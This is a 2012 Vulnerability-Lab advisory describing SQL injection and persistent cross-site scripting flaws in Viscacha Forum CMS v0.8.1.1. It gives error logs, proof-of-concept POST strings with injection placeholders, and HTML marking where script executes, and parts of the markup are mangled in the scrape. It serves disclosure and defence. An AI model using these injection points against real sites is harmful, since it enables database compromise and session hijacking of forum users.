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Title: ====== Viscacha Forum CMS v0.8.1.1 - Multiple Web Vulnerabilities Date: ===== 2012-05-08 References: =========== http://www.vulnerability-lab.com/get_content.php?id=525 VL-ID: ===== 525 Common Vulnerability Scoring System: ==================================== 7.3 Introduction: ============= Viscacha is a free bulletin board system with an integrated CMS. The intention of the software engineers is to combine the current standards with new and user friendly features. The system supports packages for easily extending the core system.Viscacha is a free bulletin board system with an integrated content management system. The intention of the software engineers is to combine the current standards with new and user friendly features. The system supports packages (plugins and components) for easily extending the core system. Viscacha uses an database abstraction layer to support as many databases as possible. With this software you can easily set up a complete (personal) homepage. The CMS extends the bulletin board system to have a homepage which is connected to the community. (Copy of the vendor Homepage: http://www.viscacha.org ) Abstract: ========= The Vulnerability Laboratory Research Team discovered multiple web vulnerabilities in Viscacha Bulletin Board CMS v0.8.1.1. Report-Timeline: ================ 2012-05-08:Public or Non-Public Disclosure Status: ======== Published Exploitation-Technique: ======================= Remote Severity: ========= High Details: ======== 1.1 A remote SQL Injection vulnerability (POST) is detected in Viscacha Bulletin Board CMS v0.8.1.1. The vulnerability allows an attacker (remote) or local low privileged user account to inject/execute own sql commands on the affected application dbms. Successful exploitation of the vulnerability results in dbms & application compromise. The vulnerability is located on the bbcode module of the forum application. Vulnerable Module(s): [+] BBCode - Tags & BB-Code | Change or Example --- SQL Exception Logs --- Fatal error: DB ERROR 1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near <code> at line 1 File: /home/opencms/public_html/demo/viscacha/admin/bbcodes.php on line 1164 Query: SELECT * FROM v_bbcode WHERE bbcodetag = </code>sd<code>AND twoparams = </code>0<code>AND in /home/server/public_html/cms/viscacha/classes/database/mysql.inc.php on line 151 Fatal error: DB ERROR 1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near </code> at line 1 File: /home/server/public_html/cms/viscacha/admin/bbcodes.php on line 1164 Query: SELECT * FROM v_bbcode WHERE bbcodetag = <code>sd</code> AND twoparams = <code>0</code> AND in /home/opencms/public_html/demo/viscacha/classes/database/mysql.inc.php on line 151 Fatal error: DB ERROR 1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near<code> at line 1 File: /home/server/public_html/cms/viscacha/admin/bbcodes.php on line 1164 Query: SELECT * FROM v_bbcode WHERE bbcodetag = </code>-1<code>AND twoparams = </code>0` AND in /home/server/public_html/cms/viscacha/classes/database/mysql.inc.php on line 151 Picture(s): ../1.png ../2.png 1.2 Multiple persistent input validation vulnerabilities is detected in Viscacha Bulletin Board CMS v0.8.1.1. The bugs allow remote attackers to implement/inject malicious script code on the application side (persistent). Successful exploitation of the vulnerability can lead to session hijacking (manager/admin/user) or stable (persistent) context manipulation. Exploitation requires low user inter action. Vulnerable Module(s): [+] Private Messages System - Text Input Field [+] Zensur - Bad Word Input Field [+] Kommentar - Portal Input Field Text & Topic Picture(s): ../3.png ../4.png Proof of Concept: ================= 1.1 The sql injection vulnerability can be exploited by remote attackers without user inter action. For demonstration or reproduce ... PoC: POSTDATA title=say&bbcodetag=-1%27&bbcodetag_old=s&bbcodereplacement=-1%27&bbcodeexample=-1%27[SQL-INJECTION]&bbcodeexplanation=-1%27&twoparams=0&buttonimage=-1%27 ... or title=say&bbcodetag=-1%27&bbcodetag_old=s&bbcodereplacement=-1%27&bbcodeexample=-1%27&bbcodeexplanation=-1%27&twoparams=0&buttonimage=[SQL-INJECTION] ... & title=say&bbcodetag=-1%27[SQL-INJECTION]&bbcodetag_old=s&bbcodereplacement=-1%27&bbcodeexample=-1%27&bbcodeexplanation=-1%27&twoparams=0&buttonimage=-1%27 1.2 The persistent input validation vulnerabilities can be exploited by remote attackers with low required user inter action. For demonstration or reproduce ... Review: Zensur - Bad Word & Listing <td class="mbox" width="45%">"><[EXECUTION OF SCRIPT CODE HERE!]' <<="" td=""> </tr> <tr> <td class="ubox" width="100%" colspan=3 align="center"><input type="submit" name="Submit" value="Löschen"></td> </tr> </table> </form> <br> <form name="form" method="post" action="admin.php?action=bbcodes&job=add&tp=censor"> <table class="border"> <tr> <td class="obox" colspan=2>Wort hinzufügen</b></td> </tr> <tr> <td class="mbox" width="30%">Wort:<br /><span class="stext">Maximal 200 Zeichen</span></td> <td class="mbox" width="70%"><input type="text" name="temp1" size="70"></td> </tr> <tr> <td class="mbox" width="30%">Zensiertes Wort:<br /><span class="stext"> Maximal 255 Zeichen</span></td> <td class="mbox" width="70%"><input type="text" name="temp2" size="70"></td> </tr> <tr> <td class="ubox" colspan="2" align="center">< input type="submit" name="Submit" value="Hinzufügen"></td> </tr> </table> </form> <br style="line-height: 8px;" /> <div class="stext center">[Generiert in 0.00224 Sekunden] [Datenbankabfragen: 2]</div> <div id="copyright"> Powered by <strong><a href="http://www.viscacha.org" target="_blank">Viscacha 0.8.1.1</a></strong> <br />Copyright © 2004-2009, The Viscacha Project <img src="https://www.exploit-db.com/exploits/18873/cron.php" width="0" height="0" alt="" /> </div> </body> </html> </iframe></td> URL: http://127.0.0.1:8080/viscacha/admin.php?action=bbcodes&job=censor Review: PN Message Preview <br class="newinput"><hr class="formsep"> <label for="topic">Titel:</label> <input tabindex="2000" id="topic" class="label" name="topic" size="30" value="" type="text"><[INJECT SCRIPT CODE HERE!] <"=""> <br class="newinput" /><hr class="formsep" /> < URL: http://127.0.0.1:8080/viscacha/pm.php ... or Review: PN Message Preview - Arrived Message - Inbox <div class="bbody"> <span class="stext">Betreff: <strong>"><[EXECUTION OF SCRIPT CODE HERE!] <</strong> </span> <hr> "><[EXECUTION OF SCRIPT CODE HERE!] ' <<br="" class="iefix_left"> </div> </div> <noscript><br /> <div class="popup_noscript"> <a name="generallinks"></a><strong>Verschiedene Links</strong> <ul> URL: http://127.0.0.1:8080/viscacha/pm.php Review: Kommentare - Comments Input/Output <input id="membersuggest_val" tabindex="1" onkeyup="ajax_searchmember(this.value, key(event))" onblur="ajax_searchmember(this.value)" name="name" size="40" value="">< [EXECUTION OF SCRIPT CODE HERE!]<" type="text"> <br><span class="stext" id="membersuggest"> </span> </div> <br class="newinput"><hr class="formsep"> <label for="topic">Titel:</label> ... or <input tabindex="2000" id="topic" class="label" name="topic" size="30" value="" type="text"> <iframe src="https://www.exploit-db.com/exploits/18873/a"[INJECT OF SCRIPT CODE HERE!] ' <"=""> <br class="newinput" /><hr class="formsep" /> <label Risk: ===== 1.1 The security risk of the sql injection vulnerability is estimated as high(-). 1.2 The security risk of the persistent input validation vulnerabilities are estimated as medium(+). Credits: ======== Vulnerability Laboratory [Research Team] Disclaimer: =========== The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability- Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. 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